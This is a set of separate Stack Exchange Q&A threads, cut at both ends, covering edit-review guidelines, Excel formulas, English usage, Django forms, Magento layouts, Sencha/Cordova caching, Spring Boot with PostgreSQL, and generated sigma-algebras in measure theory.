Y instead. Then, a separate user (not the original poster) suggests an edit that changes the question/answer to focus on one possible reading (e.g. X), without asking the original poster if that's what they're asking about in the question (or what they're intending to say in the answer). That effectively changes the meaning without consultation with the OP. Even that can be appropriate, @V2Blast - there are questions out there now where every answerer essentially picked Y, but searchers still find when seeking X... @Shog9: Ideally, IMO, those kinds of ambiguous questions should be closed even before anyone has answered them (though having answers that just guess at the ambiguous meaning of the question is even more of a reason to close) - and answers based on a guess of the author's ambiguous intent (before the question has been clarified by the querent) should probably be downvoted and told to wait for clarification by the querent. Ideally... But, this frequently becomes a perfect vs good situation. A years-old question, long ago answered satisfactorily, which is now causing confusion... Can be easily made less confusing while keeping the utility via an edit; why not do so? I've removed it - I couldn't come up with an alternative that made sense. Reviewers should be reminded not to approve edits that inline images of text (code, quotes, error messages, output, etc.) Part of the reason new users can't inline images themselves is so that they can't include screenshots instead of properly copying the relevant text into their question or answer (see Why are images of text, code and mathematical expressions discouraged?). Unfortunately, people often "helpfully" inline these images via edits. Such edits are often approved, when they should be rejected (ideally informing the editor and the original poster why such images are discouraged). We'll discuss. This is on the cusp of being too much detail for the average reviewer. We don't really have a reject reason for it, even, so it doesn't have an easy bucket to fit into. It may be better served as the "additional info" that is found in the FAQ. It needs to be clearer when an edit should be rejected for being too minor Here's an example review (note: the diff is slightly misleading as it shows a later version of the question text; see revision history for details). It fixes a typo in the title of a question, when that typo was actually repeated many times in the post body (along with other typographical issues). It was approved, presumably because the title being spelled correctly is an improvement for people searching for the question, even if it would have been much better if the entire post had been fixed properly. A CM overrode the approval of the edit and replaced it with a much better edit that did fix all the problems. These guidelines, as written, imply that this edit should be Approved ("Improves grammar, spelling or formatting of the post or other minor mistakes.") or Improved ("if the edit is good but incomplete"). Should such edits be approved now? If not, could the guidelines be clarified to make this clearer? Note: I don't have a strong opinion on what the right answer should be, I just want it to be clearer. How did the suggested edit overcome the minimum 6 characters length? I thought that limit was made to avoid trivial edits/those types of situations @Mari-LouA I believe that restriction only applies to body edits. Since this edit only touched the title, it did not apply to it. Regarding preventing trivial edits, I've certainly seen users make useless body edits as well: one user suggested a large number of edits capitalizing only the word "I" and the name of an IDE. Does that mean even the addition of a single comma or an apostrophe is sufficient for an edit to enter the queue? For the suggested edit queue, I believe so, as long as the edit is to the title. The reject and edit reason specifically covers this, I think - "Reject and edit if the suggested edit makes the post worse or doesn’t solve critical issues with the post and add your own edit" I'm hesitant to start talking about "too minor" as I don't personally feel that's a rejection reason. I want to focus on an edit clearly failing to fix things (as in your example) that should have been caught. If it's the phrasing here that's confusing, happy to rework it. Too minor isn't a reject reason, and frankly at this point SO should take whatever volunteer time it can get with edits because there's a lot of work to do. Rejecting a partial improvement is OK if somebody goes back and improves the rest of the post, but I don't think it's particularly smart to reject (not "reject and edit") a "minor" edit and then leave a flawed post to linger in that state forever (which I've seen a bit too often). Straight up rejecting a minor (but valid) edit is saying "Thanks for trying to improve SO, I don't have time to fix mistakes, just leave it". Should we say something about how to review tag wiki edits here? I.e. mention that you will come across those things in this queue if you have enough rep and you should look for... when reviewing them. For instance the most common problem I find in tag wiki edit suggestions is plagiarism, especially with an initial edit suggestion. We've not mentioned that at all here. I had thought about this. I wasn't sure since the vast majority of people who see this post may not have the required rep to care about them... so it might be better to have this info attached to the 10k privileges somehow? It's 5K for tag wiki edits. You could always have a sentence or two mentioning them and then link to a specialised wiki edits page with the complete editing approval guide for tag wiki edits. Good idea. Let me see what I can poke at. Thanks How about something like "There are additional concerns when reviewing Tag Wiki edits to prevent plagiarism. For more information on these edits, see the Tag Wiki edits FAQ on MSE."? @Catija that works for me. Minor proofreading/grammar issues: good but incomplete and use the edit window This should have a comma after "incomplete," as it joins two independent clauses. with the post and add your own edit - this will open an edit window This should be an em dash: "...you’re not certain—don’t be afraid...", as it joins two independent clauses. There should probably also be a comma before "and add" for the same reason as above. Updates to an answer if more information is available or something has changed This is a complete and total style nitpick and this isn't actually wrong, but it would be more consistent with the other bullet points if it removed the "to" (and if the bullet points were consistent about periods at the end). Changes an answer's explanation or code to a completely different meaning or solution This looks like it was supposed to be under "Clearly conflicts with author’s intent" and was accidentally put under "Causes harm" a regular dash with spaces around it is an acceptable alternative for an em-dash and doesn't require me to use special characters. :D @Catija: At a glance, the quoted text seems to be a hyphen, not a dash. "A regular dash with spaces around it" would instead be an en dash, which is just as correct as an em dash without spaces around it. :P I'm not sure if the help pages use the standard Stack Exchange markdown renderer, but if so, one can simply write &mdash; to avoid the need for special characters. That's what I did in my post (it doesn't work in comments, though). The details of "Causes harm" are a bit off. We're not just using that reason to inform other reviewers — the primary goal is to educate the user suggesting the edit. Also, the final sentence should be properly connected to the previous sentence. Perhaps this works better: You should explain why you are rejecting the suggestion so that the author of the edit and other reviewers can understand your action. For example, that it changes an answer's explanation or code to a completely different meaning or solution. (As a side note, 'code' is a bit technology-oriented. Yes, more than half of the network is technology-oriented, but stil ...) I... think that it may be an error. That sentence matches author intent better than causes harm? I too realized there's another problem, more than just a grammatical one. Would it make sense to add some advice for how to handle edits that are, in themselves, not bad, but fall into the inappropriate polishing category? For example, what should the reviewer do if a well-meaning but misguided editor changes: i lost me troosers where is it is anyone knows to: I have lost my trousers. Does anyone know where they are? I think the answer given by animuson is about as good as it gets; could a shortened version of that be included in the help text? Of course, there will be far more such edits made to less extremely off-topic posts. And a similar situation would be minor (but good) 'cosmetic' changes to closed questions (such as markdown format corrections to a duplicate). This is also a problem on language sites, fixing the spelling is not enough to make an off-topic post on topic and approving the edit (which may even have 3/4 close votes) bumps it to the top of active page. An issue is that, other than rejecting with "Causes Harm" and leaving a custom comment, there is no built-in mechanism for informing the editor (likely a new contributor) why their action is wrong. It seems a little unfair to 'punish' their well-intentioned corrections. The editor is also a user who needs to learn what questions are on-topic and which are not. Knowing how to use SE requires patience, and a certain humility. Overall, it's a steep learning curve . @Mari-LouA Indeed. But an extra 'reject reason' along the lines of "Insufficient improvement" (with a suitable short note) would be nice, IMHO. But that's maybe beyond the scope of the current round of changes. Your first comment encompasses most of my concern, there's not really a good reason for rejection (based on our current reasons). And, even animuson seems somewhat ambivalent about what the correct action is (and jmort has a strong competing argument)... so with that and my feeling that this may be too specific for a help page, I think I'll recommend this be in the FAQ for now until/unless we can find a better way to include it in the UI. Reviewers should be informed how to handle edits that translate content This may need to be site-specific, as I believe different sites have different policies around this. One common mistake in suggested edit review on Stack Overflow is approving edits that translate posts into English when there is no indication that the asker understands English. This is considered a bad practice, as the asker is unlikely to be able to engage with feedback or answers in order to determine if they solve the problem. Currently, the only way for reviewers to discover that such edits should be rejected is to find that Meta post. It would be ideal if this were more prominent, such as in a help page for the queue. This is certainly a concern but I have a similar response to the one I left on Adrian's answer. My improvements are in block capital letters Causes harm This reason MAY be used where an EDIT should be REJECTED BECAUSE none or TWO OR MORE of the above apply. PLEASE explain why the SUGGESTED EDIT NEEDS TO BE REJECTED so that AUTHORS and REVIEWERS WILL understand your REASON. FOR EXAMPLE: “Changes THE explanation” or “CHANGES code to a completely different solution.” Is authors on purpose plural? Do you mean both the OP and the user who suggested the edit? @rene that's a possible interpretation, which also works. The plural form in this instance has a generic meaning, it's short for "all authors".
common-pile/stackexchange_filtered
Error using "sumif" together with "address" function Please see the data below: What I want to do is to write a formula in column D to sum up the order quantity (column C) starting from the row number specified in column F until current row, for the same item number. However, when I use the address function nested in the SUMIF function, it gives an error (if I replace the address function with a value then it works). So can someone please kindly advise me how I should write the formula in column D instead? Please mark the answer given as best answered. This way, all future visitor can benefit. The problem is that address returns a string, so you need to turn that string into a reference. Try this: =sumif(indirect(address(F2,G2,2)&":"&address(ROW(B2),COLUMN(B2))),B2,indirect(address(F2,H2,2)&":"&address(ROW(C2),COLUMN(C2))))
common-pile/stackexchange_filtered
Is it idiomatic to say, 'someone thinks about how XXX' instead of 'someone thinks XXX'? Suppose in a windy day, a billboard fell to the ground and John saw that. Instead of saying, John thought it could knock him out instantly if it hit him is it idiomatic to say this? John thought about how it could knock him out instantly if it hit him The second sentence sounds kind of weird to me, since 'how' usually means 'in what way or manner; by what means'. So, the second sentence feels a bit like 'John thought about/imagined the (different) way(s)/process(es) the billboard could have knocked him out'. Yet, I heard it used as an equivalence to 'think + XXX' in a video, speaker of which is not sure to be a native speaker. Postscript: As is pointed out by @bakunin, I may need to use the perfect tense here. So, the quoted sentence above should be changed to the following two, respectively. John thought it could have knocked him out instantly if it hit him. John thought about how it could have knocked him out instantly if it hit him. Is the second sentence in this postscript idiomatic? The focus here is 'think + xxx' vs 'think about how + xxx'. think is a single thing or idea or opinion; think about something is a process. I think I might win. I'm thinking about how I might win. Not wading into the tense thing, but yes they're different and yes, they're idiomatic. I think you get the first example. With 'about how' added, it still works in these sentences because there may exist a way it could hit him and not knock him out - eg a glancing body blow - and/or multiple ways it could knock him out - a direct hit to the head, bringing down powerlines with it that electrocute him, hitting a car which then veers into him. So, idiomatically the second sentence would mean he considered the ways the knockout might happen, not just the fact it could happen. Hang on, changing the tense changes the meaning. You should use "...it could knock..." if at the time John was thinking it is still a possibility; for example, John sees the billboard fall and now it is blowing straight at him. You should use "...it could have knocked..." if John was thinking about the event after the fact; the billboard is gone and no longer a danger. To think about something is a conscious action, while to think something is a state of having some notion, opinion, or accepting something as fact: I thought about Lateralus being an awful album. / I thought about how Lateralus is an awful album. (At some point in the past, I spent some time consciously having that thought. I might still consider it an awful album, but I no longer have it on my mind) I thought Lateralus was an awful album. (At some point in the past, I had an opinion that it was an awful album - although I might not have spent much or any time with that opinion on my conscious mind.) In your example, John thought about... indicates that John was actively thinking about it - imagining it, etc., generally spending some time considering that scenario. John thought... indicates at best a quick thought crossing John's mind, and possibly just says that John knew that it was the case. When we say, I thought X was Y, we do not imply that we no longer think X about Y, even though such a possibility remains. We only imply that at some point in the past we felt that way. I thought Ms. Smith was an excellent English teacher, reveals nothing about Ms. Smith's current status (i.e. she no longer teaches English) or your relationship to her (i.e. she is no longer an excellent teacher.) All we know is that you once thought she was excellent. @EllieK-Don'tsupporther you're right - it depends on the context, and if the general context is a past tense - eg. relaying events from the past, it says nothing about the present. I had a more present context in mind (eg. I've just listened to the album again and I'm surprised because oh, I thought it was awful), but I'm not sure how to phrase that clearly so I've removed that part. I feel like 'I thought about how Lateralus is an awful album' means 'I tried to give/come up with reasons why Lateralus is an awful album'. @Michael both interpretations are valid - depends if you understand how as "that" (cf. I remember how we used to sit at the shore) or "in what way" (cf. I remember how I felt that day). But in both cases it's a conscious process. Wow~ I don't know 'how' can be used as 'that'. @Michael it's a more natural interpretation of your own example, I think - unless you want to say that John focused on the exact way the billboard is going to hit him. Oh, your second possible interpretation is why I found it weird. Maybe you can add more detail in your answer about how 'how' is used as 'that'? This usage seems not common, and maybe unusual to most English learners. If you think about something, you are considering it in detail with all its implications. John may just have had a passing thought "That could knock someone out", or he could have said to himself "If that had hit me, I would have been taken to hospital and wouldn't have been able to pick up my children from school." So, at the end of the day, the two sentences in the question have different meaning, right? Different shades of meaning, certainly. Think of it like this, I thought I could beat Hermes in a footrace, merely tells your audience that you thought you were faster than Hermes. I thought about how I could beat Hermes in a footrace, tells your audience you may have considered dropping golden apples behind you hoping Hermes would be slowed as he stopped to gather them up. John thought the wind could knock him out = John's opinion. As far as John knows, the wind might or might not be capable of knocking him out. He knows he could be wrong, but he's inclined to think it's possible. The sentence is about the fact that John believes this. John thought about how the wind could knock him out = taken as fact. John believes fully that it's possible for the wind to knock him out and would not expect anyone to dispute it. The sentence isn't about this at all, which is why we assume it so we can focus on what John is actually thinking, i.e. wherever this supposition leads him (maybe we're supposed to imagine that ourselves). Your feeling that the second sentence sounds weird is quite justified. It uses the wrong tense: John thought about how it could have knocked him out instantly if it had hit him. This is a case of "reported speech": Johns thoughts are the supposed speech (he thought: "if that hit me id'd be knocked out." and these thoughts are reported. Notice that even a question in reported speech is not a question any more (the report of a question is a factual statement), so there is no question mark at the end: He asks: "what time is it?" but He asks what time it is. Thanks! But my focus is 'think + xxx' vs 'think about how + xxx'. "think" (or "thought") by itself means to simply have a thought that what follows is the case. "think about how" could mean either "think that" or "think in what way". That leads to the following usages: To have a thought that something is the case (e.g. "think about how he didn't get his paycheck yet"). This is generally idiomatic. Note that the example above would fall exclusively under this meaning, and could not also mean thinking about the reasons for him not getting his paycheck (that would be "why" instead of "how"). There is a notable difference between "I think about how he didn't get his paycheck yet" and "I think he didn't get his paycheck yet": the former involves thinking about the fact that he didn't get his paycheck yet, while the latter means you're somewhat sure he didn't get his paycheck yet. To have a thought that something could be the case (e.g. "think about how the car could hit him"). This is not an uncommon usage, but it's little more than a more verbose version of just "think", so I would recommend against using it. To have thoughts about in what way something is the case (e.g. "think about how rain works"). This is perfectly idiomatic. To have thoughts about in what way something could be the case (e.g. "think about how the car could hit him"). There's nothing explicitly wrong with this usage, but I'd generally phrase it differently if I wanted to convey this specific meaning, since it's typically ambiguous whether one means this, or simply that something is the case (as in it is the case that the car could hit him, for the example above). To consider what the answer to a question might be (e.g. "think about how much it would rain"). This is perfectly idiomatic. In the above example, what you're thinking about is "how much it would rain". So it's more "think about" + X, and not "think about how" + X. 'How' can be used as 'that'. Part of the definitions of 'how' given by The Free Dictionary: conj. That: I told them how I had once been bitten by a snake. conj. Informal. that: She told us how he was honest and could be trusted. adv. not standard Also: as how that: he told me as how the shop was closed.
common-pile/stackexchange_filtered
Verbose name in django ModelForm One field in my model looks like this: class Test(models.Model): charField = models.CharField('char field test',max_length = 1024) and ModelForm: class TestForm(ModelForm): class Meta: model=Test My question is how to get, in html page, field name ("charField") and field verbose name ("char field test")? In HTML i have this: {% for field in formFields %} {{field.name}} {{field.label}} {% endfor %} with {{field.name}} i get "charField" but with {{field.label}} i get "Char field" not "char field test". Is there way to do this? Or must to write custom tag? What does {{field}} gives? You have edited too much. That code does give "char field test" for {{ field.label }}. Please post your actual code and the actual output. I dont know what i saw :D. This really works! But why first letter is capitalized? Can i turn off this? Does anyone know that about capitalized letter? @milandjukic88: Django is open source software, you are free to read the source code and find out by yourself why the first letter is capitalized. You should do it like this: class Test(models.Model): charField = models.CharField(label='char field test', max_length = 1024) Then in your template: {% for field in formFields %} {{field.label_tag}} {{field}} {% endfor %} That's it. label_tag puts html on page. I don't need that. then use just {{ field.label }} I would use the 'verbose_name' model field attribute and let the modelform use it by default. class Test(models.Model): charField = models.CharField(verbose_name='char field test', max_length = 1024)
common-pile/stackexchange_filtered
What are the top-down and bottom-up approaches to holography? I think I understand the main idea of top-down vs bottom-up: when trying to describe some phenomena using a particular theory, in t-d one starts from the complete theory and puts constraints so that the desired phenomena would come up, while in b-u one starts from a description of the phenomena and adds equations so that the result is a complete theory. My question is, how does this apply to holography? What is "the complete theory" (since being a duality there are two)? @DiSp0sablE_H3r0 ok so top-down is bulk-boundary and bottom-up is boundary-bulk, right? TL;DR: You can think of top-down approaches as starting from string theory or quantum gravity theories and imposing constraints or limits to obtain a specific holographic dual. Bottom-up approaches start with a specific, already constrained example which can be shown to be exhibit a holographic dictionary, and then try to embed these consistently into more complete theories of quantum gravity (there are many ways to do this). For more details, we have be more precise with what we mean by "holography". "Holography" is a rather vague term, simply meaning that degrees of fredom (DOF's) of one system can be described equivalently in a system with lesser dimensions. More precisely, the information necessary to full describe a system does not grow extensively with the voume of the system, but rather with the size of its encolsing area. I think what you are actually interested in here is the AdS/CFT correspondence, which is a very specific, very famous example of the holographic principle. There are three main levels to this correspondence, known as the strongest, strong and weak form of AdS/CFT. Strongest form: This is the statement from Maldacena in his seminal paper (arXiv: 9711200). It says that 4D super-Yang Mills theory with gauge group $SU(N)$ and coupling $g_{YM}$ is dynamically equivalent to Type IIB string theory with string coupling $g_s$ on $AdS_5\times S^5$ (this is a full-fledged quantum gravity theory). Strong form: Since quantum gravity is rather difficult to deal with, we can simplify things by instead working with classical strings by taking their coupling as being very small $g_s\ll 1$. This yields classical type IIB string theory on the same spacetime. On the gauge-theory side, this amounts to tháking the so-called "planar limit" of the QFT, achieved by taking the rank $N$ of the $SU(N)$ group to be very large, i.e. $N\rightarrow \infty$. It can be shown that both perturbative expansions on $1/N$ on the QFT side an $g_s$ on the string theory side coincide to all orders. Weak form: One can go a step further and take the limit of vanishingly short strings, which yields a 10D classical supergravity theory of pointlike particles on a now weakly curved $AdS_5\times S^5$ spacetime, since now the radius $L$ of $AdS_5$ is much larger than the string length, i.e. $L\gg l_s$. This amount to taking the strong coupling limit on the QFT side, which results in a conformal field theory (CFT) with large central charge $c$. You can find more details on this classification in the very nice book of Ammon & Erdmenger: "Gauge/Gravity Duality: Foundations and Applications". Having understood these three "levels", you can now think of top-down and bottom-up approaches to holography as attempts that start either on the strongest or the weakest form of the correspondence, respectively. Top-down approaches try to define a holographic dual at the level of quantum gravity in a string theory and derive other, more simple and constrained examples by taking certain limits. On the other hand, you may cook up specific CFT and find its weakly coupled holographic dual and then try to loosen up the restrictions to try and embed this pair into a larger, more complete theory. Note that both are remarkably difficult to do and current research is still trying to find a methodical way (if there is one) of defining holographically dual systems.
common-pile/stackexchange_filtered
add block to adminhtml_sales_order_view i'm trying to add block to the admin order view page in magento my layout update is <?xml version="1.0"?> <layout> <adminhtml_sales_order_view> <reference name="order_tab_info"> <block before="order_tab_info" type='vendor/additonal' name="ama_additonal_data" template="vendor/additonal.phtml" > <action method="setChild"> <name>order_info</name> <block>order_info</block> </action> </block> <action method="setChild"> <name>order_info</name> <block>ama_additonal_data</block> </action> </reference> </adminhtml_sales_order_view> </layout> my block is class Vendor_ModuleName_Block_Sales_Order_View_AdditonalData extends Mage_Adminhtml_Block_Sales_Order_Abstract{ } if i make the following in the block file public function __construct(){ var_dump('hey'); die; } the page stops for showing that but it looks that my block doesn't render why? your two child blocks has same name. give different names. You may also want to use getChildHtml() method for renders your block That's suppose to be an hack to move the order info child to be my child and replace it with my block. Than show order info. can you show me the config.xml file of your module ? atleast the block defintion ? You layout code is no longer going to work. Since it has some errors in it. I will point out what I can see. Block of described type does not exist You block type is vendor/additonal. Obviously it is a custom block that is defining by a custom module. It means you need to have a block with class name Vendor_Modulename_Block_Additional that should define in the location app/code/local/Vendor/Modulename/Block/Additional.php. Now here, your block have a name Vendor_ModuleName_Block_Sales_Order_View_AdditonalData (Location is unknown, you didn't provide). That means the block that you defined in layout is undefined and magento will throw some error in your log(if you activated your logs). Unnecessary before declaration See the answer of alanstorm for this THREAD. In short, you can define a before attribute in two cases only. Out of them, most frequently used case is the first one. That is your block should comes under a parent block which is of type core/text_list. Here the parent block that holds your custom block is order_tab_info block. It is a magento core defined block. So your before attribute is not going to work. You are trying to make your custom block as parent of a block, that holding your block !!! In your block defintion, you are trying to set order_tab_info block as a child of your block. Note that you are already staying inside order_tab_info block. That means your block is now a child of order_tab_info block. Didn't get what I have potrait? OK. consider a situation where a lady carries her child in her womb. Suppose the child is saying.. "Hey I am the actual mother of my mother!!!!!" See.There is no logic in it. Again inside order_tab_info block, you are again redefining your custom block as its child block. It is just like, if the mother(in the above example) says "Hey every one, the child that I am carrying now is my child" Do you think, is it relevant to redefine it? Every one can understand that the child that carrying by that lady is obviously her child and she is her mother. No need for redefining it. So what you are trying to do here is completely wrong. Try to make a good idea on magento's layout structure. Good Luck.
common-pile/stackexchange_filtered
New release crashes, when previous app version is overwritten I'm just releasing a new version of my Android app. The problem happens when the previous version is already installed in the device and you install the new apk (with a session started), the application doesn't clear the splashcreen and gets stucked. The only way to run the app, is clearing all the application data or uninstalling the previous release before installing the new one, what is wrong, because you shouldn't now uninstall any app when updating. Have anyone had this problem? Anybody knows how to solve it? I already tuned the package.json and everything works fine, excepts for this trouble. I'm using cordova 5.0 and sencha touch 2.4. I create my package by using the command $ sencha app build package and then $ cordova prepare android I think it may have something to be with the new sencha cache manager, but I don't have a clue on how to solve this. Can anybody help me, please? Thank you! I already find out what was happening, the problem was, that Sencha Tocuh generates a cache manifest, and it was causing troubles when the new apk version tryed to overwrite the previous one. So, to solve this I find out how to package the sencha app without generating the manifest. It was like this: add in this files .sencha/app/package.properties and .sencha/app/package.defaults.properties the following lines: enable.deltas=false enable.cache.manifest=false build.enable.embedded.manifest=true Then, clean up the build folder (everything). And run this command: sencha ant package build And that will make the trick, no delta or archive folders, no cache manifest. I hope this help someone else!
common-pile/stackexchange_filtered
Profile photo upload in php and database I have problem that the photo uploaded to the site but the name of it don't be saved on database . The code upload the photo to the site but the name of the file didn't be uploaded to the database help me, I need to know what the problem in the code? please someone answer! the code: <?php session_start(); $con = mysqli_connect("my host","my account","my passwod","my table name"); $_SESSION['id'] = "$con_id"; ?> <?php if(isset($_POST['submit'])){ move_uploaded_file($_FILES['file']['tmp_name'],"../userstorage/p_photos/".$_FILES['file']['name']); $con = mysqli_connect("my host","my account","my password","my table name"); $q = mysqli_query($con,"UPDATE users SET image = '".$_FILES['file']['name']."' WHERE id = '".$_SESSION['id']."'"); } ?> $id isn't defined where it's ????? In your update query. When asking, 1 question mark is enough. Is it not working That's unreadable. please consider editing your question I know your credentials now! what???????????? for characters limit Everything in your code looked correct except for that one part. If my answer helped, please upvote and accept :) Your error is here $q = mysqli_query($con,"UPDATE users SET image = '".$_FILES['file']['tmp_name']."' WHERE id = '$id'"); $_FILES['file']['tmp_name'] is the image data, while $_FILES['file']['name'] is the name of the file. So in the end of the day you need to change this piece of code for reference check this article on W3Schools on how to upload and display images from a database. I would like to know why i got downvoted for giving the obviously correct solution?? $_FILES['file']['tmp_name'] is not the image data, but the temporary name of the file on the server. This is an error, but not the only one. He's using variables in the query that aren't declared/assigned. Not my downvote, but this is not "the obviously correct solution" Okay I understand that, but when you are copying the file from the browser, you copy the file with $_FILES['file']['tmp_name'] and get the represented filename with $_FILES['file']['name'], which is what he needed to use in the first place. Also I can give more clearer answers with limited info from OP >.< If you need more informations to post an answer, then don't post your answer and ask for clarification in comments. I had more than enough info to answer this question, which i feel was the right solution
common-pile/stackexchange_filtered
Table not found on postresql connection from spring boot 2 I am trying to perform a basic connection between to a local postgresql DB from a very basic SpringBootProject (for training purpose). # configure postgresql spring.datasource.platform=postgres spring.datasource.jdbc-url=jdbc:postgresql://localhost:5432/db spring.datasource.username=postgres spring.datasource.password= spring.jpa.show-sql=true spring.jpa.properties.hibernate.format_sql=true spring.jpa.database-platform = org.hibernate.dialect.PostgreSQL94Dialect spring.jpa.hibernate.ddl-auto=none So far, I have managed to have it compile and run... but when I am trying to access my DB, I get a "Table "FILMS" not found" error (org.h2.jdbc.JdbcSQLException). When I insert data from a data.sql, I get the inserted movies. But without this initializer, I cannot get data from my db... Table "FILMS" not found; SQL statement: select film0_.code as code1_0_, film0_.date_prod as date_pro2_0_, film0_.did as did3_0_, film0_.kind as kind4_0_, film0_.title as title5_0_ from films film0_ [42102-197] 2018-07-26 12:24:18.151 ERROR 10376 --- [nio-9000-exec-1] o.a.c.c.C.[.[.[/].[dispatcherServlet] : Servlet.service() for servlet [dispatcherServlet] in context with path [] threw exception [Request processing failed; nested exception is org.springframework.dao.InvalidDataAccessResourceUsageException: could not prepare statement; SQL [select film0_.code as code1_0_, film0_.date_prod as date_pro2_0_, film0_.did as did3_0_, film0_.kind as kind4_0_, film0_.title as title5_0_ from films film0_]; nested exception is org.hibernate.exception.SQLGrammarException: could not prepare statement] with root cause org.h2.jdbc.JdbcSQLException: Table "FILMS" non trouvée Spring boot is in version 2.03 RELEASE; both postgresql connector AND server's ones are 9.4. I am using spring boot parent starter, as well as data-jpa-starter (with no extra hibernate/jpa depencies defined). The source code is here My postresql server is up, the database "db" exists, and its table public."FILMS" is full of data... Any idea on what I am doing (or undestanding) wrong? The error message clearly shows you are using H2, not Postgres, but you added the postgresql tag. So which DBMS are you really using? If you expect to be using Postgres, then your obfuscation layer (aka "ORM") connects to the wrong database Perfect : you pointed out my mistake. I removed h2 db from pom, then got another error... So I fixed the url properties to ".url" instead of "jdbc-url", and there it is! I updated the sources : https://github.com/RogerLapin/pocProm/commit/e7e680c6797dc169e46916cf90497198491b7263. Please consider adding this as an answer, so that I can accept it In your application properties file try spring.jpa.hibernate.ddl-auto=validate It will try to check the table in your db The matter was eventually not about the model, but about the way to access it!
common-pile/stackexchange_filtered
sigma algebra generated by a set which being a subset of another generating set I have a question regarding sigma algebra generated by a set. It is from 5.4b) from here: http://stat.math.uregina.ca/~kozdron/Teaching/Regina/451Fall13/Handouts/451lecture05.pdf Basically I know that given a sigma algebra (say $F= ${$F_1, F_2, ...$} ) of a set $\Omega$, I have that for any subset $\Omega_i \subset \Omega$, the collection of sets $F \cap \Omega_i$ also being a sigma algebra (this result is from 5.4a)). My question is if I know that a given set say $C$ generates the sigma algebra $F$, i.e. $\sigma(C)=F$, how do I show that the sets $F \cap \Omega_i$ is generated by $C \cap \Omega_i$? i.e. $\sigma(C \cap \Omega_i) = F\cap \Omega_i$ where $F \cap \Omega_i$ is a collection of subsets. I was able to show that $\sigma (C \cap \Omega_i)$ is a subset of $F \cap \Omega_i$. Because $F \cap \Omega_i$ is a sigma algebra that contains the collection of sets $C \cap \Omega_i$ , so therefore obviously we have $\sigma(C \cap \Omega_i)$ being a subset of $F \cap \Omega_i$ since $\sigma(C \cap \Omega_i)$ denotes the INTERSECTION of all sigma algebra that contains the set $C \cap \Omega_i$. So I have $\sigma(C \cap \Omega_i) \subseteq F\cap\Omega_i$. My problem is to show the other way i.e. show that $F\cap\Omega_i \subseteq \sigma(C \cap \Omega_i) $. I was able to start with this: I have that $F \cap\Omega_i \subseteq \sigma(C) \cap \Omega_i$ because $F$ is a subset of $\sigma(C)$ , and hence $F \cap\Omega_i \subseteq \sigma(C) \cap \Omega_i$, but that is not really what I want to show. I think I need little more step to prove $F\cap\Omega_i \subseteq \sigma(C \cap \Omega_i) $, but I got kind of stuck. Could someone give me some hints. Also if the steps above so far are all correct? Let it be that $\langle\Omega,\mathcal F\rangle$ is a measurable space and that $f:\Omega'\to\Omega$ denotes a function. Moreover let it be that $\mathcal C\subseteq\mathcal F$ such that $\mathcal F=\sigma(\mathcal C)$. Then it can be shown that:$$f^{-1}(\sigma(\mathcal C))=\sigma(f^{-1}(\mathcal C))\tag1$$ In the special case where $\Omega'\subseteq\Omega$ and $f$ denotes the inclusion application of $(1)$ results in:$$\{\Omega'\cap F\mid F\in\mathcal F\}=\sigma\left(\{\Omega'\cap C\mid C\in\mathcal C\}\right)$$ which is exactly what you are after. Familiarity with $(1)$ is in my view a "must" in measure theory. For a proof of it have a look at this answer. edit: Let $\Omega'\subseteq\Omega$ and let's denote $\mathcal{C}'=\left\{ A\cap\Omega'\mid A\in\mathcal{C}\right\} $ and $\mathcal{F}'=\left\{ A\cap\Omega'\mid A\in\mathcal{F}\right\} $ where $\mathcal{C}\subseteq\wp\left(\Omega\right)$ and $\mathcal{F}=\sigma\left(\mathcal{C}\right)$. It is not difficult to prove that $\mathcal{F}'$ is a $\sigma$-algebra, and this with $\mathcal{C}'\subseteq\mathcal{F}'$. This allows the conclusion $\sigma\left(\mathcal{C}'\right)\subseteq\mathcal{F}'$ and this part you had done yourself allready. Now let $\mathcal{A}:=\left\{ A\in\wp\left(\Omega\right)\mid A\cap\Omega'\in\sigma\left(\mathcal{C}'\right)\right\} $. Again it is not difficult to prove that $\mathcal{A}$ is a $\sigma$-algebra, and this with $\mathcal{C}\subseteq\mathcal{A}$. This allows the conclusion $\mathcal{F}=\sigma\left(\mathcal{C}\right)\subseteq\mathcal{A}$. That means that $A\cap\Omega'\in\sigma\left(\mathcal{C}'\right)$ for every $A\in\mathcal{F}$ and states that $\mathcal{F}'\subseteq\sigma\left(\mathcal{C}'\right)$. If $f:\Omega'\to\Omega$ denotes the inclusion then $\mathcal C'=f^{-1}(\mathcal C)$ and $\mathcal F'=f^{-1}(\mathcal F)=f^{-1}(\sigma(\mathcal C))$ so in the first part it is shown that $\sigma(f^{-1}(\mathcal C))\subseteq f^{-1}(\sigma(\mathcal C))$ and in the second part that $f^{-1}(\sigma(\mathcal C))\subseteq\sigma(f^{-1}(\mathcal C))$. For completeness: $$f^{-1}(\mathcal C):=\{f^{-1}(A)\mid A\in\mathcal C\}=\{\{\omega\in\Omega'\mid f(\omega)\in A\}\mid A\in\mathcal C\}\tag2$$ So if $f:\Omega'\to\Omega$ is prescribed by $\omega\mapsto\omega$ (i.e. inclusion) then we can expand $(2)$ with:$$=\{\{\omega\in\Omega'\mid \omega\in A\}\mid C\in\mathcal C\}=\{A\cap\Omega'\mid A\in \mathcal C\}=\mathcal C'$$ Hi drhab, could you elaborate little bit more about what you mean when you say "f denotes the inclusion....", what does "f denotes the inclusion" means? sorry for my stupidity. Also I am just wondering the function "f" here could means any "set operations", "mapping" , because so far I have only learned that f as a function can map something from the domain to the range. But does it mean the function "f" is actually more than mapping? for example, the function "f" could mean "set operations" like taking complement, taking union, taking intersection? because I got kind of lost how to use "inclusion", and application of (1) to arrive at the equation you have there. Sorry for my stupidity. Here there are two sets $\Omega_0,\Omega$ and $f:\Omega_0\to\Omega$ is a function in the usual sense of the word. If $\Omega_0\subseteq\Omega$ then $f:\Omega_0\to\Omega$ is the inclusion of $\Omega_0$ if it is prescribed by $\omega\mapsto\omega$. In that case a preimage under $f$ of some $F\subseteq\Omega$ will take the shape $f^{-1}(F)={\omega\in\Omega_0\mid f(\omega)\in F}={\omega\in\Omega_0\mid \omega\in F}=\Omega_0\cap F$. Hi drhab, thanks for your response. I understand little better. But it is kind of difficult to associate the proof of sigma algebra generated by a set with the "inclusion function". What I mean is it is kind of hard to understand the intuition behind why all of a sudden one would think of the "inclusion" function $\omega \mapsto \omega$ when trying to prove 5b). I think I need little more time to understand. Also you have shown what $f^{-1}(F)$ is , but I still have to figure out the right-hand side (i.e. why $\sigma (f^{-1}(C))$ equal the right side of your formula). I am still digesting. I have added a direct proof. Hi drhab, I think I fully understand the proof in your "edit" part. It 